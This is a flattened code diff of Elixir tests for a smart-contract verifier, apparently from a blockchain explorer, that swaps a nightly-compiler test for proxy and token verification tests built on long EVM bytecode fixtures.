"0x608060405234801561001057600080fd5b5060405161026b38038061026b8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101cf8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820f7420b8c3b16d83ce728d8c279f0f887c4dcd7bfcd38c484acc9cdb82fde785764736f6c637828302e352e31312d6e696768746c792e323031392e362e32352b636f6d6d69742e31636338343735330058" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753) - bytecode_construtor_arguments = "#{bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_5, - "compiler_version" => "v0.5.11-nightly.2019.6.25+commit.1cc84753", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.2+commit.661d1103", + "evm_version" => "default", + "name" => "TransparentUpgradeableProxy", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end + + test "issue 5127" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5127.sol" + |> File.read!() + + bytecode = + "0x60806040523480156200001157600080fd5b5060405162001bfc38038062001bfc8339810160408190526200003491620002d6565b6040805180820182526009808252682ca2a9902a37b5b2b760b91b6020808401918252845180860190955260038086526259455360e81b91860191909152600080546001600160a01b03808c16610100026001600160a81b03199092169190911790915560018054828b166001600160a01b03199182161790915560028054928a169290911691909117905585905582519293926012928992899289928992620000de9262000213565b508551620000f490600a90602089019062000213565b5050600b805460ff90951660ff199095169490941790935550620001209350339250889150506200012b565b505050505062000398565b6001600160a01b038216620001865760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600860008282546200019a919062000334565b90915550506001600160a01b03821660009081526006602052604081208054839290620001c990849062000334565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b82805462000221906200035b565b90600052602060002090601f01602090048101928262000245576000855562000290565b82601f106200026057805160ff191683800117855562000290565b8280016001018555821562000290579182015b828111156200029057825182559160200191906001019062000273565b506200029e929150620002a2565b5090565b5b808211156200029e5760008155600101620002a3565b80516001600160a01b0381168114620002d157600080fd5b919050565b600080600080600060a08688031215620002ef57600080fd5b855194506200030160208701620002b9565b93506200031160408701620002b9565b92506200032160608701620002b9565b9150608086015190509295509295909350565b600082198211156200035657634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200037057607f821691505b602082108114156200039257634e487b7160e01b600052602260045260246000fd5b50919050565b61185480620003a86000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80638456cb591161010f578063bddae40e116100a2578063dd62ed3e11610071578063dd62ed3e14610420578063de9c2a6b14610459578063f71c559c14610466578063f9f92be41461047957600080fd5b8063bddae40e146103cf578063c2f92192146103e2578063d864e740146103f5578063da72c1e81461040d57600080fd5b80639cfe42da116100de5780639cfe42da1461038e578063a1d5ec4b146103a1578063a457c2d7146103a9578063a9059cbb146103bc57600080fd5b80638456cb59146103405780638e39103c1461034857806390d6b45f1461035b57806395d89b411461038657600080fd5b8063394b652b1161018757806359e026f71161015657806359e026f7146102e65780635c975abb146102f9578063704b6c021461030457806370a082311461031757600080fd5b8063394b652b146102a357806339509351146102b85780633f4ba83a146102cb578063483a83df146102d357600080fd5b806318160ddd116101c357806318160ddd146102515780631ae878d31461026857806323b872dd14610271578063313ce5671461028457600080fd5b806306fdde03146101ea578063095ea7b3146102085780631714d7f31461022b575b600080fd5b6101f261049c565b6040516101ff9190611574565b60405180910390f35b61021b6102163660046115aa565b61052a565b60405190151581526020016101ff565b6101f2604051806040016040528060078152602001667975656d6d616960c81b81525081565b61025a60085481565b6040519081526020016101ff565b61025a60035481565b61021b61027f3660046115d4565b610540565b600b546102919060ff1681565b60405160ff90911681526020016101ff565b6102b66102b1366004611610565b610651565b005b61021b6102c63660046115aa565b61068c565b6102b66106c8565b6102b66102e1366004611629565b610701565b61021b6102f43660046115d4565b610739565b60005460ff1661021b565b6102b6610312366004611629565b61094f565b61025a610325366004611629565b6001600160a01b031660009081526006602052604090205490565b6102b6610a1b565b6102b6610356366004611629565b610a52565b60025461036e906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b6101f2610a8a565b6102b661039c366004611629565b610a97565b6102b6610acf565b61021b6103b73660046115aa565b610b06565b61021b6103ca3660046115aa565b610b95565b6102b66103dd366004611629565b610bf4565b60015461036e906001600160a01b031681565b60005461036e9061010090046001600160a01b031681565b61021b61041b3660046115d4565b610c2c565b61025a61042e366004611644565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60045461021b9060ff1681565b61021b6104743660046115d4565b610ddb565b61021b610487366004611629565b60056020526000908152604090205460ff1681565b600980546104a990611677565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611677565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b505050505081565b6000610537338484610ede565b50600192915050565b6000805460ff161561056d5760405162461bcd60e51b8152600401610564906116b2565b60405180910390fd5b6001600160a01b038416600090815260056020526040902054849060ff16156105a85760405162461bcd60e51b8152600401610564906116cd565b6105b3858585611002565b6001600160a01b0385166000908152600760209081526040808320338452909152902054838110156106385760405162461bcd60e51b815260206004820152602860248201527f4b415032303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610564565b6106458633868403610ede565b50600195945050505050565b60005461010090046001600160a01b031633146106805760405162461bcd60e51b815260040161056490611704565b610689816111d1565b50565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105379185906106c3908690611751565b610ede565b60005461010090046001600160a01b031633146106f75760405162461bcd60e51b815260040161056490611704565b6106ff611217565b565b60005461010090046001600160a01b031633146107305760405162461bcd60e51b815260040161056490611704565b61068981611298565b6000805460ff161561075d5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf0916107aa91339190600401611769565b602060405180830381865afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611795565b6108075760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a3490602401602060405180830381865afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087891906117ee565b101580156108f657506003546002546040516306f19a8d60e21b81526001600160a01b03868116600483015290911690631bc66a34906024015b602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f391906117ee565b10155b61093a5760405162461bcd60e51b81526020600482015260156024820152744f6e6c7920696e7465726e616c20707572706f736560581b6044820152606401610564565b610945848484611002565b5060019392505050565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf09161099c91339190600401611769565b602060405180830381865afa1580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611795565b6109f95760405162461bcd60e51b8152600401610564906117b7565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60005461010090046001600160a01b03163314610a4a5760405162461bcd60e51b815260040161056490611704565b6106ff6112f2565b60005461010090046001600160a01b03163314610a815760405162461bcd60e51b815260040161056490611704565b6106898161134a565b600a80546104a990611677565b60005461010090046001600160a01b03163314610ac65760405162461bcd60e51b815260040161056490611704565b61068981611400565b60005461010090046001600160a01b03163314610afe5760405162461bcd60e51b815260040161056490611704565b6106ff61148a565b3360009081526007602090815260408083206001600160a01b038616845290915281205482811015610b885760405162461bcd60e51b815260206004820152602560248201527f4b415032303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610564565b6109453385858403610ede565b6000805460ff1615610bb95760405162461bcd60e51b8152600401610564906116b2565b3360008181526005602052604090205460ff1615610be95760405162461bcd60e51b8152600401610564906116cd565b610945338585611002565b60005461010090046001600160a01b03163314610c235760405162461bcd60e51b815260040161056490611704565b610689816114c2565b6000805461010090046001600160a01b03163314610c5c5760405162461bcd60e51b815260040161056490611704565b6001600160a01b038416600090815260066020526040902054821115610cd25760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e7366657220616d6f756e74206578636565642062616044820152646c616e636560d81b6064820152608401610564565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610564565b6001600160a01b03841660009081526006602052604081208054849290610d50908490611807565b90915550506001600160a01b03831660009081526006602052604081208054849290610d7d908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dc991815260200190565b60405180910390a35060019392505050565b6000805460ff1615610dff5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf091610e4c91339190600401611769565b602060405180830381865afa158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d9190611795565b610ea95760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a34906024016108b2565b6001600160a01b038316610f405760405162461bcd60e51b8152602060048201526024808201527f4b415032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610564565b6001600160a01b038216610fa15760405162461bcd60e51b815260206004820152602260248201527f4b415032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610564565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110665760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610564565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602360248201527f4b415032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610564565b6001600160a01b038316600090815260066020526040902054818110156111405760405162461bcd60e51b815260206004820152602660248201527f4b415032303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610564565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290611177908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c391815260200190565b60405180910390a350505050565b600380549082905560408051828152602081018490527f4bb7c3aa2e207c70c9f2b8b0d81e076d62b704e041cdedb61959edd1814912f491015b60405180910390a15050565b60005460ff1661124e5760405162461bcd60e51b815260206004820152600260248201526104e560f41b6044820152606401610564565b6000805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600280546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f192570e0851c3af9ff6a477c94534e97444b3893085cf6ac37fb7e7ec335f01e910161120b565b60005460ff16156113155760405162461bcd60e51b8152600401610564906116b2565b6000805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861127b3390565b6001600160a01b038116600090815260056020526040902054819060ff166113b45760405162461bcd60e51b815260206004820152601b60248201527f41646472657373206973206e6f7420696e20626c61636b6c69737400000000006044820152606401610564565b6001600160a01b038216600081815260056020526040808220805460ff19169055513392917f6690dc53a3b1d37db94233f7c004408862ea909761dc5760b0e925276754f87591a35050565b6001600160a01b038116600090815260056020526040902054819060ff161561143b5760405162461bcd60e51b8152600401610564906116cd565b6001600160a01b038216600081815260056020526040808220805460ff19166001179055513392917fef674dcdab521405fef2bf4b5d2c6a6434e3ab02bc5a94fb89dd035704b83b0991a35050565b6004805460ff191660011790556040517fa5881517cf4ae3e7f6bcd00c68314e59f3ce78b5606d1b08253addc3c957e43b90600090a1565b60008054610100600160a81b0319166101006001600160a01b0384811682810293909317938490556040805193845291909304909216602082015282917f129aa2e3e7b369511a5c100a66e80b6c6231b4e60460799e7c1ed36e14121568910161120b565b6000815180845260005b8181101561154d57602081850181015186830182015201611531565b8181111561155f576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006115876020830184611527565b9392505050565b80356001600160a01b03811681146115a557600080fd5b919050565b600080604083850312156115bd57600080fd5b6115c68361158e565b946020939093013593505050565b6000806000606084860312156115e957600080fd5b6115f28461158e565b92506116006020850161158e565b9150604084013590509250925092565b60006020828403121561162257600080fd5b5035919050565b60006020828403121561163b57600080fd5b6115878261158e565b6000806040838503121561165757600080fd5b6116608361158e565b915061166e6020840161158e565b90509250929050565b600181811c9082168061168b57607f821691505b602082108114156116ac57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600190820152600560fc1b604082015260600190565b60208082526017908201527f4164647265737320697320696e20626c61636b6c697374000000000000000000604082015260600190565b60208082526019908201527f52657374726963746564206f6e6c7920636f6d6d697474656500000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156117645761176461173b565b500190565b6001600160a01b038316815260406020820181905260009061178d90830184611527565b949350505050565b6000602082840312156117a757600080fd5b8151801515811461158757600080fd5b6020808252601b908201527f52657374726963746564206f6e6c792073757065722061646d696e0000000000604082015260600190565b60006020828403121561180057600080fd5b5051919050565b6000828210156118195761181961173b565b50039056fea2646970667358221220f9aa231f0e2c136b376cc26c179eea8f7aae62c23797e6e17b4ca4462f9ad1af64736f6c634300080b0033" + + contract_creation_code = + "0x60806040523480156200001157600080fd5b5060405162001bfc38038062001bfc8339810160408190526200003491620002d6565b6040805180820182526009808252682ca2a9902a37b5b2b760b91b6020808401918252845180860190955260038086526259455360e81b91860191909152600080546001600160a01b03808c16610100026001600160a81b03199092169190911790915560018054828b166001600160a01b03199182161790915560028054928a169290911691909117905585905582519293926012928992899289928992620000de9262000213565b508551620000f490600a90602089019062000213565b5050600b805460ff90951660ff199095169490941790935550620001209350339250889150506200012b565b505050505062000398565b6001600160a01b038216620001865760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600860008282546200019a919062000334565b90915550506001600160a01b03821660009081526006602052604081208054839290620001c990849062000334565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b82805462000221906200035b565b90600052602060002090601f01602090048101928262000245576000855562000290565b82601f106200026057805160ff191683800117855562000290565b8280016001018555821562000290579182015b828111156200029057825182559160200191906001019062000273565b506200029e929150620002a2565b5090565b5b808211156200029e5760008155600101620002a3565b80516001600160a01b0381168114620002d157600080fd5b919050565b600080600080600060a08688031215620002ef57600080fd5b855194506200030160208701620002b9565b93506200031160408701620002b9565b92506200032160608701620002b9565b9150608086015190509295509295909350565b600082198211156200035657634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200037057607f821691505b602082108114156200039257634e487b7160e01b600052602260045260246000fd5b50919050565b61185480620003a86000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80638456cb591161010f578063bddae40e116100a2578063dd62ed3e11610071578063dd62ed3e14610420578063de9c2a6b14610459578063f71c559c14610466578063f9f92be41461047957600080fd5b8063bddae40e146103cf578063c2f92192146103e2578063d864e740146103f5578063da72c1e81461040d57600080fd5b80639cfe42da116100de5780639cfe42da1461038e578063a1d5ec4b146103a1578063a457c2d7146103a9578063a9059cbb146103bc57600080fd5b80638456cb59146103405780638e39103c1461034857806390d6b45f1461035b57806395d89b411461038657600080fd5b8063394b652b1161018757806359e026f71161015657806359e026f7146102e65780635c975abb146102f9578063704b6c021461030457806370a082311461031757600080fd5b8063394b652b146102a357806339509351146102b85780633f4ba83a146102cb578063483a83df146102d357600080fd5b806318160ddd116101c357806318160ddd146102515780631ae878d31461026857806323b872dd14610271578063313ce5671461028457600080fd5b806306fdde03146101ea578063095ea7b3146102085780631714d7f31461022b575b600080fd5b6101f261049c565b6040516101ff9190611574565b60405180910390f35b61021b6102163660046115aa565b61052a565b60405190151581526020016101ff565b6101f2604051806040016040528060078152602001667975656d6d616960c81b81525081565b61025a60085481565b6040519081526020016101ff565b61025a60035481565b61021b61027f3660046115d4565b610540565b600b546102919060ff1681565b60405160ff90911681526020016101ff565b6102b66102b1366004611610565b610651565b005b61021b6102c63660046115aa565b61068c565b6102b66106c8565b6102b66102e1366004611629565b610701565b61021b6102f43660046115d4565b610739565b60005460ff1661021b565b6102b6610312366004611629565b61094f565b61025a610325366004611629565b6001600160a01b031660009081526006602052604090205490565b6102b6610a1b565b6102b6610356366004611629565b610a52565b60025461036e906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b6101f2610a8a565b6102b661039c366004611629565b610a97565b6102b6610acf565b61021b6103b73660046115aa565b610b06565b61021b6103ca3660046115aa565b610b95565b6102b66103dd366004611629565b610bf4565b60015461036e906001600160a01b031681565b60005461036e9061010090046001600160a01b031681565b61021b61041b3660046115d4565b610c2c565b61025a61042e366004611644565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60045461021b9060ff1681565b61021b6104743660046115d4565b610ddb565b61021b610487366004611629565b60056020526000908152604090205460ff1681565b600980546104a990611677565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611677565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b505050505081565b6000610537338484610ede565b50600192915050565b6000805460ff161561056d5760405162461bcd60e51b8152600401610564906116b2565b60405180910390fd5b6001600160a01b038416600090815260056020526040902054849060ff16156105a85760405162461bcd60e51b8152600401610564906116cd565b6105b3858585611002565b6001600160a01b0385166000908152600760209081526040808320338452909152902054838110156106385760405162461bcd60e51b815260206004820152602860248201527f4b415032303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610564565b6106458633868403610ede565b50600195945050505050565b60005461010090046001600160a01b031633146106805760405162461bcd60e51b815260040161056490611704565b610689816111d1565b50565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105379185906106c3908690611751565b610ede565b60005461010090046001600160a01b031633146106f75760405162461bcd60e51b815260040161056490611704565b6106ff611217565b565b60005461010090046001600160a01b031633146107305760405162461bcd60e51b815260040161056490611704565b61068981611298565b6000805460ff161561075d5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf0916107aa91339190600401611769565b602060405180830381865afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611795565b6108075760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a3490602401602060405180830381865afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087891906117ee565b101580156108f657506003546002546040516306f19a8d60e21b81526001600160a01b03868116600483015290911690631bc66a34906024015b602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f391906117ee565b10155b61093a5760405162461bcd60e51b81526020600482015260156024820152744f6e6c7920696e7465726e616c20707572706f736560581b6044820152606401610564565b610945848484611002565b5060019392505050565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf09161099c91339190600401611769565b602060405180830381865afa1580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611795565b6109f95760405162461bcd60e51b8152600401610564906117b7565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60005461010090046001600160a01b03163314610a4a5760405162461bcd60e51b815260040161056490611704565b6106ff6112f2565b60005461010090046001600160a01b03163314610a815760405162461bcd60e51b815260040161056490611704565b6106898161134a565b600a80546104a990611677565b60005461010090046001600160a01b03163314610ac65760405162461bcd60e51b815260040161056490611704565b61068981611400565b60005461010090046001600160a01b03163314610afe5760405162461bcd60e51b815260040161056490611704565b6106ff61148a565b3360009081526007602090815260408083206001600160a01b038616845290915281205482811015610b885760405162461bcd60e51b815260206004820152602560248201527f4b415032303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610564565b6109453385858403610ede565b6000805460ff1615610bb95760405162461bcd60e51b8152600401610564906116b2565b3360008181526005602052604090205460ff1615610be95760405162461bcd60e51b8152600401610564906116cd565b610945338585611002565b60005461010090046001600160a01b03163314610c235760405162461bcd60e51b815260040161056490611704565b610689816114c2565b6000805461010090046001600160a01b03163314610c5c5760405162461bcd60e51b815260040161056490611704565b6001600160a01b038416600090815260066020526040902054821115610cd25760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e7366657220616d6f756e74206578636565642062616044820152646c616e636560d81b6064820152608401610564565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152601f60248201527f4b415032303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610564565b6001600160a01b03841660009081526006602052604081208054849290610d50908490611807565b90915550506001600160a01b03831660009081526006602052604081208054849290610d7d908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dc991815260200190565b60405180910390a35060019392505050565b6000805460ff1615610dff5760405162461bcd60e51b8152600401610564906116b2565b60015460408051808201825260078152667975656d6d616960c81b602082015290516302b98ccf60e41b81526001600160a01b0390921691632b98ccf091610e4c91339190600401611769565b602060405180830381865afa158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d9190611795565b610ea95760405162461bcd60e51b8152600401610564906117b7565b6003546002546040516306f19a8d60e21b81526001600160a01b03878116600483015290911690631bc66a34906024016108b2565b6001600160a01b038316610f405760405162461bcd60e51b8152602060048201526024808201527f4b415032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610564565b6001600160a01b038216610fa15760405162461bcd60e51b815260206004820152602260248201527f4b415032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610564565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110665760405162461bcd60e51b815260206004820152602560248201527f4b415032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610564565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602360248201527f4b415032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610564565b6001600160a01b038316600090815260066020526040902054818110156111405760405162461bcd60e51b815260206004820152602660248201527f4b415032303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610564565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290611177908490611751565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c391815260200190565b60405180910390a350505050565b600380549082905560408051828152602081018490527f4bb7c3aa2e207c70c9f2b8b0d81e076d62b704e041cdedb61959edd1814912f491015b60405180910390a15050565b60005460ff1661124e5760405162461bcd60e51b815260206004820152600260248201526104e560f41b6044820152606401610564565b6000805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600280546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f192570e0851c3af9ff6a477c94534e97444b3893085cf6ac37fb7e7ec335f01e910161120b565b60005460ff16156113155760405162461bcd60e51b8152600401610564906116b2565b6000805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861127b3390565b6001600160a01b038116600090815260056020526040902054819060ff166113b45760405162461bcd60e51b815260206004820152601b60248201527f41646472657373206973206e6f7420696e20626c61636b6c69737400000000006044820152606401610564565b6001600160a01b038216600081815260056020526040808220805460ff19169055513392917f6690dc53a3b1d37db94233f7c004408862ea909761dc5760b0e925276754f87591a35050565b6001600160a01b038116600090815260056020526040902054819060ff161561143b5760405162461bcd60e51b8152600401610564906116cd565b6001600160a01b038216600081815260056020526040808220805460ff19166001179055513392917fef674dcdab521405fef2bf4b5d2c6a6434e3ab02bc5a94fb89dd035704b83b0991a35050565b6004805460ff191660011790556040517fa5881517cf4ae3e7f6bcd00c68314e59f3ce78b5606d1b08253addc3c957e43b90600090a1565b60008054610100600160a81b0319166101006001600160a01b0384811682810293909317938490556040805193845291909304909216602082015282917f129aa2e3e7b369511a5c100a66e80b6c6231b4e60460799e7c1ed36e14121568910161120b565b6000815180845260005b8181101561154d57602081850181015186830182015201611531565b8181111561155f576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006115876020830184611527565b9392505050565b80356001600160a01b03811681146115a557600080fd5b919050565b600080604083850312156115bd57600080fd5b6115c68361158e565b946020939093013593505050565b6000806000606084860312156115e957600080fd5b6115f28461158e565b92506116006020850161158e565b9150604084013590509250925092565b60006020828403121561162257600080fd5b5035919050565b60006020828403121561163b57600080fd5b6115878261158e565b6000806040838503121561165757600080fd5b6116608361158e565b915061166e6020840161158e565b90509250929050565b600181811c9082168061168b57607f821691505b602082108114156116ac57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600190820152600560fc1b604082015260600190565b60208082526017908201527f4164647265737320697320696e20626c61636b6c697374000000000000000000604082015260600190565b60208082526019908201527f52657374726963746564206f6e6c7920636f6d6d697474656500000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156117645761176461173b565b500190565b6001600160a01b038316815260406020820181905260009061178d90830184611527565b949350505050565b6000602082840312156117a757600080fd5b8151801515811461158757600080fd5b6020808252601b908201527f52657374726963746564206f6e6c792073757065722061646d696e0000000000604082015260600190565b60006020828403121561180057600080fd5b5051919050565b6000828210156118195761181961173b565b50039056fea2646970667358221220f9aa231f0e2c136b376cc26c179eea8f7aae62c23797e6e17b4ca4462f9ad1af64736f6c634300080b0033000000000000000000000000000000000000000000084595161401484a00000000000000000000000000000073d8f731ec0d3945d807a904bf93954b82b0d594000000000000000000000000c5333c0d3cf6fc8f84f3ccb0d5a73dbda2eceb500000000000000000000000002c8abd9c61d4e973ca8db5545c54c90e44a2445c0000000000000000000000000000000000000000000000000000000000000004" + + contract_address = insert(:contract_address, contract_code: bytecode) - test "verification is successful if proper nightly version of compiler ~0.5.14" do - bytecode_0_5_14_nightly_2019_12_10_commit_45aa7a88 = - "0x608060405234801561001057600080fd5b5060405161026c38038061026c8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101d08061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72315820ec5a7ce04b1c2f97a3d3e61ae1b5cb06585e81c504542fd9668a8ead654da72764736f6c637829302e352e31342d6e696768746c792e323031392e31322e31302b636f6d6d69742e34356161376138380059" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_5_14_nightly_2019_12_10_commit_45aa7a88) - bytecode_construtor_arguments = "#{bytecode_0_5_14_nightly_2019_12_10_commit_45aa7a88}#{constructor_arguments}" - - 